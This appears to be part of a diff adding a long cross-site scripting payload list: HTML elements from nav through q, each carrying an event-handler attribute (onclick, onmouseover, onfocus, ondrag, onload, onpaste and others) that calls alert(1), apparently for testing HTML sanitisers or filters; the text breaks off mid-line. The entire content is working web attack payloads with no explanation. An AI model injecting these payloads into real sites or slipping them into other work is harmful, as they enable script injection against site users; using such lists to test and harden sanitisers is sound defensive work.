+<nav onmouseout="alert(1)">test</nav> +<nav onmouseover="alert(1)">test</nav> +<nav onmouseup="alert(1)">test</nav> +<nav onpaste="alert(1)" contenteditable>test</nav> +<nextid draggable="true" ondrag="alert(1)">test</nextid> +<nextid draggable="true" ondragend="alert(1)">test</nextid> +<nextid draggable="true" ondragenter="alert(1)">test</nextid> +<nextid draggable="true" ondragleave="alert(1)">test</nextid> +<nextid draggable="true" ondragstart="alert(1)">test</nextid> +<nextid id=x tabindex=1 onactivate=alert(1)></nextid> +<nextid id=x tabindex=1 onbeforeactivate=alert(1)></nextid> +<nextid id=x tabindex=1 onbeforedeactivate=alert(1)></nextid><input autofocus> +<nextid id=x tabindex=1 ondeactivate=alert(1)></nextid><input id=y autofocus> +<nextid id=x tabindex=1 onfocus=alert(1)></nextid> +<nextid id=x tabindex=1 onfocusin=alert(1)></nextid> +<nextid onbeforecopy="alert(1)" contenteditable>test</nextid> +<nextid onbeforecut="alert(1)" contenteditable>test</nextid> +<nextid onbeforepaste="alert(1)" contenteditable>test</nextid> +<nextid onblur=alert(1) tabindex=1 id=x></nextid><input autofocus> +<nextid onclick="alert(1)">test</nextid> +<nextid oncontextmenu="alert(1)">test</nextid> +<nextid oncopy="alert(1)" contenteditable>test</nextid> +<nextid oncut="alert(1)" contenteditable>test</nextid> +<nextid ondblclick="alert(1)">test</nextid> +<nextid onfocusout=alert(1) tabindex=1 id=x></nextid><input autofocus> +<nextid onkeydown="alert(1)" contenteditable>test</nextid> +<nextid onkeypress="alert(1)" contenteditable>test</nextid> +<nextid onkeyup="alert(1)" contenteditable>test</nextid> +<nextid onmousedown="alert(1)">test</nextid> +<nextid onmouseenter="alert(1)">test</nextid> +<nextid onmouseleave="alert(1)">test</nextid> +<nextid onmousemove="alert(1)">test</nextid> +<nextid onmouseout="alert(1)">test</nextid> +<nextid onmouseover="alert(1)">test</nextid> +<nextid onmouseup="alert(1)">test</nextid> +<nextid onpaste="alert(1)" contenteditable>test</nextid> +<nobr draggable="true" ondrag="alert(1)">test</nobr> +<nobr draggable="true" ondragend="alert(1)">test</nobr> +<nobr draggable="true" ondragenter="alert(1)">test</nobr> +<nobr draggable="true" ondragleave="alert(1)">test</nobr> +<nobr draggable="true" ondragstart="alert(1)">test</nobr> +<nobr id=x tabindex=1 onactivate=alert(1)></nobr> +<nobr id=x tabindex=1 onbeforeactivate=alert(1)></nobr> +<nobr id=x tabindex=1 onbeforedeactivate=alert(1)></nobr><input autofocus> +<nobr id=x tabindex=1 ondeactivate=alert(1)></nobr><input id=y autofocus> +<nobr id=x tabindex=1 onfocus=alert(1)></nobr> +<nobr id=x tabindex=1 onfocusin=alert(1)></nobr> +<nobr onbeforecopy="alert(1)" contenteditable>test</nobr> +<nobr onbeforecut="alert(1)" contenteditable>test</nobr> +<nobr onbeforepaste="alert(1)" contenteditable>test</nobr> +<nobr onblur=alert(1) tabindex=1 id=x></nobr><input autofocus> +<nobr onclick="alert(1)">test</nobr> +<nobr oncontextmenu="alert(1)">test</nobr> +<nobr oncopy="alert(1)" contenteditable>test</nobr> +<nobr oncut="alert(1)" contenteditable>test</nobr> +<nobr ondblclick="alert(1)">test</nobr> +<nobr onfocusout=alert(1) tabindex=1 id=x></nobr><input autofocus> +<nobr onkeydown="alert(1)" contenteditable>test</nobr> +<nobr onkeypress="alert(1)" contenteditable>test</nobr> +<nobr onkeyup="alert(1)" contenteditable>test</nobr> +<nobr onmousedown="alert(1)">test</nobr> +<nobr onmouseenter="alert(1)">test</nobr> +<nobr onmouseleave="alert(1)">test</nobr> +<nobr onmousemove="alert(1)">test</nobr> +<nobr onmouseout="alert(1)">test</nobr> +<nobr onmouseover="alert(1)">test</nobr> +<nobr onmouseup="alert(1)">test</nobr> +<nobr onpaste="alert(1)" contenteditable>test</nobr> +<noembed draggable="true" ondrag="alert(1)">test</noembed> +<noembed draggable="true" ondragend="alert(1)">test</noembed> +<noembed draggable="true" ondragenter="alert(1)">test</noembed> +<noembed draggable="true" ondragleave="alert(1)">test</noembed> +<noembed draggable="true" ondragstart="alert(1)">test</noembed> +<noembed id=x tabindex=1 onactivate=alert(1)></noembed> +<noembed id=x tabindex=1 onbeforeactivate=alert(1)></noembed> +<noembed id=x tabindex=1 onbeforedeactivate=alert(1)></noembed><input autofocus> +<noembed id=x tabindex=1 ondeactivate=alert(1)></noembed><input id=y autofocus> +<noembed id=x tabindex=1 onfocus=alert(1)></noembed> +<noembed id=x tabindex=1 onfocusin=alert(1)></noembed> +<noembed onbeforecopy="alert(1)" contenteditable>test</noembed> +<noembed onbeforecut="alert(1)" contenteditable>test</noembed> +<noembed onbeforepaste="alert(1)" contenteditable>test</noembed> +<noembed onblur=alert(1) tabindex=1 id=x></noembed><input autofocus> +<noembed onclick="alert(1)">test</noembed> +<noembed oncontextmenu="alert(1)">test</noembed> +<noembed oncopy="alert(1)" contenteditable>test</noembed> +<noembed oncut="alert(1)" contenteditable>test</noembed> +<noembed ondblclick="alert(1)">test</noembed> +<noembed onfocusout=alert(1) tabindex=1 id=x></noembed><input autofocus> +<noembed onkeydown="alert(1)" contenteditable>test</noembed> +<noembed onkeypress="alert(1)" contenteditable>test</noembed> +<noembed onkeyup="alert(1)" contenteditable>test</noembed> +<noembed onmousedown="alert(1)">test</noembed> +<noembed onmouseenter="alert(1)">test</noembed> +<noembed onmouseleave="alert(1)">test</noembed> +<noembed onmousemove="alert(1)">test</noembed> +<noembed onmouseout="alert(1)">test</noembed> +<noembed onmouseover="alert(1)">test</noembed> +<noembed onmouseup="alert(1)">test</noembed> +<noembed onpaste="alert(1)" contenteditable>test</noembed> +<noframes draggable="true" ondrag="alert(1)">test</noframes> +<noframes draggable="true" ondragend="alert(1)">test</noframes> +<noframes draggable="true" ondragenter="alert(1)">test</noframes> +<noframes draggable="true" ondragleave="alert(1)">test</noframes> +<noframes draggable="true" ondragstart="alert(1)">test</noframes> +<noframes id=x tabindex=1 onactivate=alert(1)></noframes> +<noframes id=x tabindex=1 onbeforeactivate=alert(1)></noframes> +<noframes id=x tabindex=1 onbeforedeactivate=alert(1)></noframes><input autofocus> +<noframes id=x tabindex=1 ondeactivate=alert(1)></noframes><input id=y autofocus> +<noframes id=x tabindex=1 onfocus=alert(1)></noframes> +<noframes id=x tabindex=1 onfocusin=alert(1)></noframes> +<noframes onbeforecopy="alert(1)" contenteditable>test</noframes> +<noframes onbeforecut="alert(1)" contenteditable>test</noframes> +<noframes onbeforepaste="alert(1)" contenteditable>test</noframes> +<noframes onblur=alert(1) tabindex=1 id=x></noframes><input autofocus> +<noframes onclick="alert(1)">test</noframes> +<noframes oncontextmenu="alert(1)">test</noframes> +<noframes oncopy="alert(1)" contenteditable>test</noframes> +<noframes oncut="alert(1)" contenteditable>test</noframes> +<noframes ondblclick="alert(1)">test</noframes> +<noframes onfocusout=alert(1) tabindex=1 id=x></noframes><input autofocus> +<noframes onkeydown="alert(1)" contenteditable>test</noframes> +<noframes onkeypress="alert(1)" contenteditable>test</noframes> +<noframes onkeyup="alert(1)" contenteditable>test</noframes> +<noframes onmousedown="alert(1)">test</noframes> +<noframes onmouseenter="alert(1)">test</noframes> +<noframes onmouseleave="alert(1)">test</noframes> +<noframes onmousemove="alert(1)">test</noframes> +<noframes onmouseout="alert(1)">test</noframes> +<noframes onmouseover="alert(1)">test</noframes> +<noframes onmouseup="alert(1)">test</noframes> +<noframes onpaste="alert(1)" contenteditable>test</noframes> +<noscript draggable="true" ondrag="alert(1)">test</noscript> +<noscript draggable="true" ondragend="alert(1)">test</noscript> +<noscript draggable="true" ondragenter="alert(1)">test</noscript> +<noscript draggable="true" ondragleave="alert(1)">test</noscript> +<noscript draggable="true" ondragstart="alert(1)">test</noscript> +<noscript id=x tabindex=1 onactivate=alert(1)></noscript> +<noscript id=x tabindex=1 onbeforeactivate=alert(1)></noscript> +<noscript id=x tabindex=1 onbeforedeactivate=alert(1)></noscript><input autofocus> +<noscript id=x tabindex=1 ondeactivate=alert(1)></noscript><input id=y autofocus> +<noscript id=x tabindex=1 onfocus=alert(1)></noscript> +<noscript id=x tabindex=1 onfocusin=alert(1)></noscript> +<noscript onbeforecopy="alert(1)" contenteditable>test</noscript> +<noscript onbeforecut="alert(1)" contenteditable>test</noscript> +<noscript onbeforepaste="alert(1)" contenteditable>test</noscript> +<noscript onblur=alert(1) tabindex=1 id=x></noscript><input autofocus> +<noscript onclick="alert(1)">test</noscript> +<noscript oncontextmenu="alert(1)">test</noscript> +<noscript oncopy="alert(1)" contenteditable>test</noscript> +<noscript oncut="alert(1)" contenteditable>test</noscript> +<noscript ondblclick="alert(1)">test</noscript> +<noscript onfocusout=alert(1) tabindex=1 id=x></noscript><input autofocus> +<noscript onkeydown="alert(1)" contenteditable>test</noscript> +<noscript onkeypress="alert(1)" contenteditable>test</noscript> +<noscript onkeyup="alert(1)" contenteditable>test</noscript> +<noscript onmousedown="alert(1)">test</noscript> +<noscript onmouseenter="alert(1)">test</noscript> +<noscript onmouseleave="alert(1)">test</noscript> +<noscript onmousemove="alert(1)">test</noscript> +<noscript onmouseout="alert(1)">test</noscript> +<noscript onmouseover="alert(1)">test</noscript> +<noscript onmouseup="alert(1)">test</noscript> +<noscript onpaste="alert(1)" contenteditable>test</noscript> +<object data=/ onload=alert(1)> +<object data=/ onreadystatechange=alert(1)> +<object draggable="true" ondrag="alert(1)">test</object> +<object draggable="true" ondragend="alert(1)">test</object> +<object draggable="true" ondragenter="alert(1)">test</object> +<object draggable="true" ondragleave="alert(1)">test</object> +<object draggable="true" ondragstart="alert(1)">test</object> +<object id=x onfocus=alert(1) type=text/html> +<object id=x onfocusin=alert(1) type=text/html> +<object id=x tabindex=1 onactivate=alert(1)></object> +<object id=x tabindex=1 onbeforeactivate=alert(1)></object> +<object id=x tabindex=1 onbeforedeactivate=alert(1)></object><input autofocus> +<object id=x tabindex=1 ondeactivate=alert(1)></object><input id=y autofocus> +<object onbeforecopy="alert(1)" contenteditable>test</object> +<object onbeforecut="alert(1)" contenteditable>test</object> +<object onbeforepaste="alert(1)" contenteditable>test</object> +<object onblur=alert(1) tabindex=1 id=x></object><input autofocus> +<object onclick="alert(1)">test</object> +<object oncontextmenu="alert(1)">test</object> +<object oncopy="alert(1)" contenteditable>test</object> +<object oncut="alert(1)" contenteditable>test</object> +<object ondblclick="alert(1)">test</object> +<object onerror=alert(1) data=1 type=image/gif> +<object onfocusout=alert(1) tabindex=1 id=x></object><input autofocus> +<object onkeydown="alert(1)" contenteditable>test</object> +<object onkeypress="alert(1)" contenteditable>test</object> +<object onkeyup="alert(1)" contenteditable>test</object> +<object onmousedown="alert(1)">test</object> +<object onmouseenter="alert(1)">test</object> +<object onmouseleave="alert(1)">test</object> +<object onmousemove="alert(1)">test</object> +<object onmouseout="alert(1)">test</object> +<object onmouseover="alert(1)">test</object> +<object onmouseup="alert(1)">test</object> +<object onpaste="alert(1)" contenteditable>test</object> +<ol draggable="true" ondrag="alert(1)">test</ol> +<ol draggable="true" ondragend="alert(1)">test</ol> +<ol draggable="true" ondragenter="alert(1)">test</ol> +<ol draggable="true" ondragleave="alert(1)">test</ol> +<ol draggable="true" ondragstart="alert(1)">test</ol> +<ol id=x tabindex=1 onactivate=alert(1)></ol> +<ol id=x tabindex=1 onbeforeactivate=alert(1)></ol> +<ol id=x tabindex=1 onbeforedeactivate=alert(1)></ol><input autofocus> +<ol id=x tabindex=1 ondeactivate=alert(1)></ol><input id=y autofocus> +<ol id=x tabindex=1 onfocus=alert(1)></ol> +<ol id=x tabindex=1 onfocusin=alert(1)></ol> +<ol onbeforecopy="alert(1)" contenteditable>test</ol> +<ol onbeforecut="alert(1)" contenteditable>test</ol> +<ol onbeforepaste="alert(1)" contenteditable>test</ol> +<ol onblur=alert(1) tabindex=1 id=x></ol><input autofocus> +<ol onclick="alert(1)">test</ol> +<ol oncontextmenu="alert(1)">test</ol> +<ol oncopy="alert(1)" contenteditable>test</ol> +<ol oncut="alert(1)" contenteditable>test</ol> +<ol ondblclick="alert(1)">test</ol> +<ol onfocusout=alert(1) tabindex=1 id=x></ol><input autofocus> +<ol onkeydown="alert(1)" contenteditable>test</ol> +<ol onkeypress="alert(1)" contenteditable>test</ol> +<ol onkeyup="alert(1)" contenteditable>test</ol> +<ol onmousedown="alert(1)">test</ol> +<ol onmouseenter="alert(1)">test</ol> +<ol onmouseleave="alert(1)">test</ol> +<ol onmousemove="alert(1)">test</ol> +<ol onmouseout="alert(1)">test</ol> +<ol onmouseover="alert(1)">test</ol> +<ol onmouseup="alert(1)">test</ol> +<ol onpaste="alert(1)" contenteditable>test</ol> +<optgroup draggable="true" ondrag="alert(1)">test</optgroup> +<optgroup draggable="true" ondragend="alert(1)">test</optgroup> +<optgroup draggable="true" ondragenter="alert(1)">test</optgroup> +<optgroup draggable="true" ondragleave="alert(1)">test</optgroup> +<optgroup draggable="true" ondragstart="alert(1)">test</optgroup> +<optgroup id=x tabindex=1 onactivate=alert(1)></optgroup> +<optgroup id=x tabindex=1 onbeforeactivate=alert(1)></optgroup> +<optgroup id=x tabindex=1 onbeforedeactivate=alert(1)></optgroup><input autofocus> +<optgroup id=x tabindex=1 ondeactivate=alert(1)></optgroup><input id=y autofocus> +<optgroup id=x tabindex=1 onfocus=alert(1)></optgroup> +<optgroup id=x tabindex=1 onfocusin=alert(1)></optgroup> +<optgroup onbeforecopy="alert(1)" contenteditable>test</optgroup> +<optgroup onbeforecut="alert(1)" contenteditable>test</optgroup> +<optgroup onbeforepaste="alert(1)" contenteditable>test</optgroup> +<optgroup onblur=alert(1) tabindex=1 id=x></optgroup><input autofocus> +<optgroup onclick="alert(1)">test</optgroup> +<optgroup oncontextmenu="alert(1)">test</optgroup> +<optgroup oncopy="alert(1)" contenteditable>test</optgroup> +<optgroup oncut="alert(1)" contenteditable>test</optgroup> +<optgroup ondblclick="alert(1)">test</optgroup> +<optgroup onfocusout=alert(1) tabindex=1 id=x></optgroup><input autofocus> +<optgroup onkeydown="alert(1)" contenteditable>test</optgroup> +<optgroup onkeypress="alert(1)" contenteditable>test</optgroup> +<optgroup onkeyup="alert(1)" contenteditable>test</optgroup> +<optgroup onmousedown="alert(1)">test</optgroup> +<optgroup onmouseenter="alert(1)">test</optgroup> +<optgroup onmouseleave="alert(1)">test</optgroup> +<optgroup onmousemove="alert(1)">test</optgroup> +<optgroup onmouseout="alert(1)">test</optgroup> +<optgroup onmouseover="alert(1)">test</optgroup> +<optgroup onmouseup="alert(1)">test</optgroup> +<optgroup onpaste="alert(1)" contenteditable>test</optgroup> +<option draggable="true" ondrag="alert(1)">test</option> +<option draggable="true" ondragend="alert(1)">test</option> +<option draggable="true" ondragenter="alert(1)">test</option> +<option draggable="true" ondragleave="alert(1)">test</option> +<option draggable="true" ondragstart="alert(1)">test</option> +<option id=x tabindex=1 onactivate=alert(1)></option> +<option id=x tabindex=1 onbeforeactivate=alert(1)></option> +<option id=x tabindex=1 onbeforedeactivate=alert(1)></option><input autofocus> +<option id=x tabindex=1 ondeactivate=alert(1)></option><input id=y autofocus> +<option id=x tabindex=1 onfocus=alert(1)></option> +<option id=x tabindex=1 onfocusin=alert(1)></option> +<option onbeforecopy="alert(1)" contenteditable>test</option> +<option onbeforecut="alert(1)" contenteditable>test</option> +<option onbeforepaste="alert(1)" contenteditable>test</option> +<option onblur=alert(1) tabindex=1 id=x></option><input autofocus> +<option onclick="alert(1)">test</option> +<option oncontextmenu="alert(1)">test</option> +<option oncopy="alert(1)" contenteditable>test</option> +<option oncut="alert(1)" contenteditable>test</option> +<option ondblclick="alert(1)">test</option> +<option onfocusout=alert(1) tabindex=1 id=x></option><input autofocus> +<option onkeydown="alert(1)" contenteditable>test</option> +<option onkeypress="alert(1)" contenteditable>test</option> +<option onkeyup="alert(1)" contenteditable>test</option> +<option onmousedown="alert(1)">test</option> +<option onmouseenter="alert(1)">test</option> +<option onmouseleave="alert(1)">test</option> +<option onmousemove="alert(1)">test</option> +<option onmouseout="alert(1)">test</option> +<option onmouseover="alert(1)">test</option> +<option onmouseup="alert(1)">test</option> +<option onpaste="alert(1)" contenteditable>test</option> +<output draggable="true" ondrag="alert(1)">test</output> +<output draggable="true" ondragend="alert(1)">test</output> +<output draggable="true" ondragenter="alert(1)">test</output> +<output draggable="true" ondragleave="alert(1)">test</output> +<output draggable="true" ondragstart="alert(1)">test</output> +<output id=x tabindex=1 onactivate=alert(1)></output> +<output id=x tabindex=1 onbeforeactivate=alert(1)></output> +<output id=x tabindex=1 onbeforedeactivate=alert(1)></output><input autofocus> +<output id=x tabindex=1 ondeactivate=alert(1)></output><input id=y autofocus> +<output id=x tabindex=1 onfocus=alert(1)></output> +<output id=x tabindex=1 onfocusin=alert(1)></output> +<output onbeforecopy="alert(1)" contenteditable>test</output> +<output onbeforecut="alert(1)" contenteditable>test</output> +<output onbeforepaste="alert(1)" contenteditable>test</output> +<output onblur=alert(1) tabindex=1 id=x></output><input autofocus> +<output onclick="alert(1)">test</output> +<output oncontextmenu="alert(1)">test</output> +<output oncopy="alert(1)" contenteditable>test</output> +<output oncut="alert(1)" contenteditable>test</output> +<output ondblclick="alert(1)">test</output> +<output onfocusout=alert(1) tabindex=1 id=x></output><input autofocus> +<output onkeydown="alert(1)" contenteditable>test</output> +<output onkeypress="alert(1)" contenteditable>test</output> +<output onkeyup="alert(1)" contenteditable>test</output> +<output onmousedown="alert(1)">test</output> +<output onmouseenter="alert(1)">test</output> +<output onmouseleave="alert(1)">test</output> +<output onmousemove="alert(1)">test</output> +<output onmouseout="alert(1)">test</output> +<output onmouseover="alert(1)">test</output> +<output onmouseup="alert(1)">test</output> +<output onpaste="alert(1)" contenteditable>test</output> +<p draggable="true" ondrag="alert(1)">test</p> +<p draggable="true" ondragend="alert(1)">test</p> +<p draggable="true" ondragenter="alert(1)">test</p> +<p draggable="true" ondragleave="alert(1)">test</p> +<p draggable="true" ondragstart="alert(1)">test</p> +<p id=x tabindex=1 onactivate=alert(1)></p> +<p id=x tabindex=1 onbeforeactivate=alert(1)></p> +<p id=x tabindex=1 onbeforedeactivate=alert(1)></p><input autofocus> +<p id=x tabindex=1 ondeactivate=alert(1)></p><input id=y autofocus> +<p id=x tabindex=1 onfocus=alert(1)></p> +<p id=x tabindex=1 onfocusin=alert(1)></p> +<p onbeforecopy="alert(1)" contenteditable>test</p> +<p onbeforecut="alert(1)" contenteditable>test</p> +<p onbeforepaste="alert(1)" contenteditable>test</p> +<p onblur=alert(1) tabindex=1 id=x></p><input autofocus> +<p onclick="alert(1)">test</p> +<p oncontextmenu="alert(1)">test</p> +<p oncopy="alert(1)" contenteditable>test</p> +<p oncut="alert(1)" contenteditable>test</p> +<p ondblclick="alert(1)">test</p> +<p onfocusout=alert(1) tabindex=1 id=x></p><input autofocus> +<p onkeydown="alert(1)" contenteditable>test</p> +<p onkeypress="alert(1)" contenteditable>test</p> +<p onkeyup="alert(1)" contenteditable>test</p> +<p onmousedown="alert(1)">test</p> +<p onmouseenter="alert(1)">test</p> +<p onmouseleave="alert(1)">test</p> +<p onmousemove="alert(1)">test</p> +<p onmouseout="alert(1)">test</p> +<p onmouseover="alert(1)">test</p> +<p onmouseup="alert(1)">test</p> +<p onpaste="alert(1)" contenteditable>test</p> +<param draggable="true" ondrag="alert(1)">test</param> +<param draggable="true" ondragend="alert(1)">test</param> +<param draggable="true" ondragenter="alert(1)">test</param> +<param draggable="true" ondragleave="alert(1)">test</param> +<param draggable="true" ondragstart="alert(1)">test</param> +<param id=x tabindex=1 onactivate=alert(1)></param> +<param id=x tabindex=1 onbeforeactivate=alert(1)></param> +<param id=x tabindex=1 onbeforedeactivate=alert(1)></param><input autofocus> +<param id=x tabindex=1 ondeactivate=alert(1)></param><input id=y autofocus> +<param id=x tabindex=1 onfocus=alert(1)></param> +<param id=x tabindex=1 onfocusin=alert(1)></param> +<param onbeforecopy="alert(1)" contenteditable>test</param> +<param onbeforecut="alert(1)" contenteditable>test</param> +<param onbeforepaste="alert(1)" contenteditable>test</param> +<param onblur=alert(1) tabindex=1 id=x></param><input autofocus> +<param onclick="alert(1)">test</param> +<param oncontextmenu="alert(1)">test</param> +<param oncopy="alert(1)" contenteditable>test</param> +<param oncut="alert(1)" contenteditable>test</param> +<param ondblclick="alert(1)">test</param> +<param onfocusout=alert(1) tabindex=1 id=x></param><input autofocus> +<param onkeydown="alert(1)" contenteditable>test</param> +<param onkeypress="alert(1)" contenteditable>test</param> +<param onkeyup="alert(1)" contenteditable>test</param> +<param onmousedown="alert(1)">test</param> +<param onmouseenter="alert(1)">test</param> +<param onmouseleave="alert(1)">test</param> +<param onmousemove="alert(1)">test</param> +<param onmouseout="alert(1)">test</param> +<param onmouseover="alert(1)">test</param> +<param onmouseup="alert(1)">test</param> +<param onpaste="alert(1)" contenteditable>test</param> +<picture draggable="true" ondrag="alert(1)">test</picture> +<picture draggable="true" ondragend="alert(1)">test</picture> +<picture draggable="true" ondragenter="alert(1)">test</picture> +<picture draggable="true" ondragleave="alert(1)">test</picture> +<picture draggable="true" ondragstart="alert(1)">test</picture> +<picture id=x tabindex=1 onactivate=alert(1)></picture> +<picture id=x tabindex=1 onbeforeactivate=alert(1)></picture> +<picture id=x tabindex=1 onbeforedeactivate=alert(1)></picture><input autofocus> +<picture id=x tabindex=1 ondeactivate=alert(1)></picture><input id=y autofocus> +<picture id=x tabindex=1 onfocus=alert(1)></picture> +<picture id=x tabindex=1 onfocusin=alert(1)></picture> +<picture onbeforecopy="alert(1)" contenteditable>test</picture> +<picture onbeforecut="alert(1)" contenteditable>test</picture> +<picture onbeforepaste="alert(1)" contenteditable>test</picture> +<picture onblur=alert(1) tabindex=1 id=x></picture><input autofocus> +<picture onclick="alert(1)">test</picture> +<picture oncontextmenu="alert(1)">test</picture> +<picture oncopy="alert(1)" contenteditable>test</picture> +<picture oncut="alert(1)" contenteditable>test</picture> +<picture ondblclick="alert(1)">test</picture> +<picture onfocusout=alert(1) tabindex=1 id=x></picture><input autofocus> +<picture onkeydown="alert(1)" contenteditable>test</picture> +<picture onkeypress="alert(1)" contenteditable>test</picture> +<picture onkeyup="alert(1)" contenteditable>test</picture> +<picture onmousedown="alert(1)">test</picture> +<picture onmouseenter="alert(1)">test</picture> +<picture onmouseleave="alert(1)">test</picture> +<picture onmousemove="alert(1)">test</picture> +<picture onmouseout="alert(1)">test</picture> +<picture onmouseover="alert(1)">test</picture> +<picture onmouseup="alert(1)">test</picture> +<picture onpaste="alert(1)" contenteditable>test</picture> +<picture><source srcset="validimage.png"><image onload=alert(1)></picture> +<picture><source srcset="validimage.png"><image onloadend=alert(1)></picture> +<picture><source srcset="validimage.png"><image onloadstart=alert(1)></picture> +<picture><source srcset="validimage.png"><img onload=alert(1)></picture> +<picture><source srcset="validimage.png"><img onloadend=alert(1)></picture> +<picture><source srcset="validimage.png"><img onloadstart=alert(1)></picture> +<plaintext draggable="true" ondrag="alert(1)">test</plaintext> +<plaintext draggable="true" ondragend="alert(1)">test</plaintext> +<plaintext draggable="true" ondragenter="alert(1)">test</plaintext> +<plaintext draggable="true" ondragleave="alert(1)">test</plaintext> +<plaintext draggable="true" ondragstart="alert(1)">test</plaintext> +<plaintext id=x tabindex=1 onactivate=alert(1)></plaintext> +<plaintext id=x tabindex=1 onbeforeactivate=alert(1)></plaintext> +<plaintext id=x tabindex=1 onbeforedeactivate=alert(1)></plaintext><input autofocus> +<plaintext id=x tabindex=1 ondeactivate=alert(1)></plaintext><input id=y autofocus> +<plaintext id=x tabindex=1 onfocus=alert(1)></plaintext> +<plaintext id=x tabindex=1 onfocusin=alert(1)></plaintext> +<plaintext onbeforecopy="alert(1)" contenteditable>test</plaintext> +<plaintext onbeforecut="alert(1)" contenteditable>test</plaintext> +<plaintext onbeforepaste="alert(1)" contenteditable>test</plaintext> +<plaintext onblur=alert(1) tabindex=1 id=x></plaintext><input autofocus> +<plaintext onclick="alert(1)">test</plaintext> +<plaintext oncontextmenu="alert(1)">test</plaintext> +<plaintext oncopy="alert(1)" contenteditable>test</plaintext> +<plaintext oncut="alert(1)" contenteditable>test</plaintext> +<plaintext ondblclick="alert(1)">test</plaintext> +<plaintext onfocusout=alert(1) tabindex=1 id=x></plaintext><input autofocus> +<plaintext onkeydown="alert(1)" contenteditable>test</plaintext> +<plaintext onkeypress="alert(1)" contenteditable>test</plaintext> +<plaintext onkeyup="alert(1)" contenteditable>test</plaintext> +<plaintext onmousedown="alert(1)">test</plaintext> +<plaintext onmouseenter="alert(1)">test</plaintext> +<plaintext onmouseleave="alert(1)">test</plaintext> +<plaintext onmousemove="alert(1)">test</plaintext> +<plaintext onmouseout="alert(1)">test</plaintext> +<plaintext onmouseover="alert(1)">test</plaintext> +<plaintext onmouseup="alert(1)">test</plaintext> +<plaintext onpaste="alert(1)" contenteditable>test</plaintext> +<pre draggable="true" ondrag="alert(1)">test</pre> +<pre draggable="true" ondragend="alert(1)">test</pre> +<pre draggable="true" ondragenter="alert(1)">test</pre> +<pre draggable="true" ondragleave="alert(1)">test</pre> +<pre draggable="true" ondragstart="alert(1)">test</pre> +<pre id=x tabindex=1 onactivate=alert(1)></pre> +<pre id=x tabindex=1 onbeforeactivate=alert(1)></pre> +<pre id=x tabindex=1 onbeforedeactivate=alert(1)></pre><input autofocus> +<pre id=x tabindex=1 ondeactivate=alert(1)></pre><input id=y autofocus> +<pre id=x tabindex=1 onfocus=alert(1)></pre> +<pre id=x tabindex=1 onfocusin=alert(1)></pre> +<pre onbeforecopy="alert(1)" contenteditable>test</pre> +<pre onbeforecut="alert(1)" contenteditable>test</pre> +<pre onbeforepaste="alert(1)" contenteditable>test</pre> +<pre onblur=alert(1) tabindex=1 id=x></pre><input autofocus> +<pre onclick="alert(1)">test</pre> +<pre oncontextmenu="alert(1)">test</pre> +<pre oncopy="alert(1)" contenteditable>test</pre> +<pre oncut="alert(1)" contenteditable>test</pre> +<pre ondblclick="alert(1)">test</pre> +<pre onfocusout=alert(1) tabindex=1 id=x></pre><input autofocus> +<pre onkeydown="alert(1)" contenteditable>test</pre> +<pre onkeypress="alert(1)" contenteditable>test</pre> +<pre onkeyup="alert(1)" contenteditable>test</pre> +<pre onmousedown="alert(1)">test</pre> +<pre onmouseenter="alert(1)">test</pre> +<pre onmouseleave="alert(1)">test</pre> +<pre onmousemove="alert(1)">test</pre> +<pre onmouseout="alert(1)">test</pre> +<pre onmouseover="alert(1)">test</pre> +<pre onmouseup="alert(1)">test</pre> +<pre onpaste="alert(1)" contenteditable>test</pre> +<progress draggable="true" ondrag="alert(1)">test</progress> +<progress draggable="true" ondragend="alert(1)">test</progress> +<progress draggable="true" ondragenter="alert(1)">test</progress> +<progress draggable="true" ondragleave="alert(1)">test</progress> +<progress draggable="true" ondragstart="alert(1)">test</progress> +<progress id=x tabindex=1 onactivate=alert(1)></progress> +<progress id=x tabindex=1 onbeforeactivate=alert(1)></progress> +<progress id=x tabindex=1 onbeforedeactivate=alert(1)></progress><input autofocus> +<progress id=x tabindex=1 ondeactivate=alert(1)></progress><input id=y autofocus> +<progress id=x tabindex=1 onfocus=alert(1)></progress> +<progress id=x tabindex=1 onfocusin=alert(1)></progress> +<progress onbeforecopy="alert(1)" contenteditable>test</progress> +<progress onbeforecut="alert(1)" contenteditable>test</progress> +<progress onbeforepaste="alert(1)" contenteditable>test</progress> +<progress onblur=alert(1) tabindex=1 id=x></progress><input autofocus> +<progress onclick="alert(1)">test</progress> +<progress oncontextmenu="alert(1)">test</progress> +<progress oncopy="alert(1)" contenteditable>test</progress> +<progress oncut="alert(1)" contenteditable>test</progress> +<progress ondblclick="alert(1)">test</progress> +<progress onfocusout=alert(1) tabindex=1 id=x></progress><input autofocus> +<progress onkeydown="alert(1)" contenteditable>test</progress> +<progress onkeypress="alert(1)" contenteditable>test</progress> +<progress onkeyup="alert(1)" contenteditable>test</progress> +<progress onmousedown="alert(1)">test</progress> +<progress onmouseenter="alert(1)">test</progress> +<progress onmouseleave="alert(1)">test</progress> +<progress onmousemove="alert(1)">test</progress> +<progress onmouseout="alert(1)">test</progress> +<progress onmouseover="alert(1)">test</progress> +<progress onmouseup="alert(1)">test</progress> +<progress onpaste="alert(1)" contenteditable>test</progress> +<q draggable="true" ondrag="alert(1)">test</q> +<q draggable="true" ondragend="alert(1)">test</q> +<q draggable="true" ondragenter="alert(1)">test</q> +<q draggable="true" ondragleave="alert(1)">test</q> +<q draggable="true" ondragstart="alert(1)">test</q> +<q id=x tabindex=1 onactivate=alert(1)></q> +<q id=x tabindex=1 onbeforeactivate=alert(1)></q> +<q id=x tabindex=1 onbeforedeactivate=alert(1)></q><input autofocus> +<q id=x tabindex=1 ondeactivate=alert(1)></q><input id=y autofocus> +<q id=x tabindex=1 onfocus=alert(1)></q> +<q id=x tabindex=1 onfocusin=alert(1)></q> +<q onbeforecopy="alert(1)" contenteditable>test</q> +<q onbeforecut="alert(1)" contenteditable>test</q> +<q onbeforepaste="alert(1)" contenteditable>test</q> +<q onblur=alert(1) tabindex=1 id=x></q><input autofocus> +<q onclick="alert(1)">test</q> +<q oncontextmenu="alert(1)">test</q> +<q oncopy="alert(1)" contenteditable>test</q> +<q oncut="alert(1)" contenteditable>test</q> +<q ondblclick="alert(1)">test</q> +<q onfocusout=alert(1) tabindex=1 id=x></q><input autofocus> +<q onkeydown="alert(1)" contenteditable>test</q> +<q onkeypress="alert(1)" contenteditable>test</q> +<q onkeyup="alert(1)" contenteditable>test</q> +<q onmousedown="alert(1)">test</q> +<q onmouseenter="alert(1)">test</q> +<q onmouseleave="alert(1)">test</q> +<q onmousemove="alert(1)">test</q> +<q onmouseout="alert(1)">test</q> +<q onmouseover="alert(1)">test</q> +<q onmouseup="alert(1)">test</q> +<q onpaste="alert(1)" 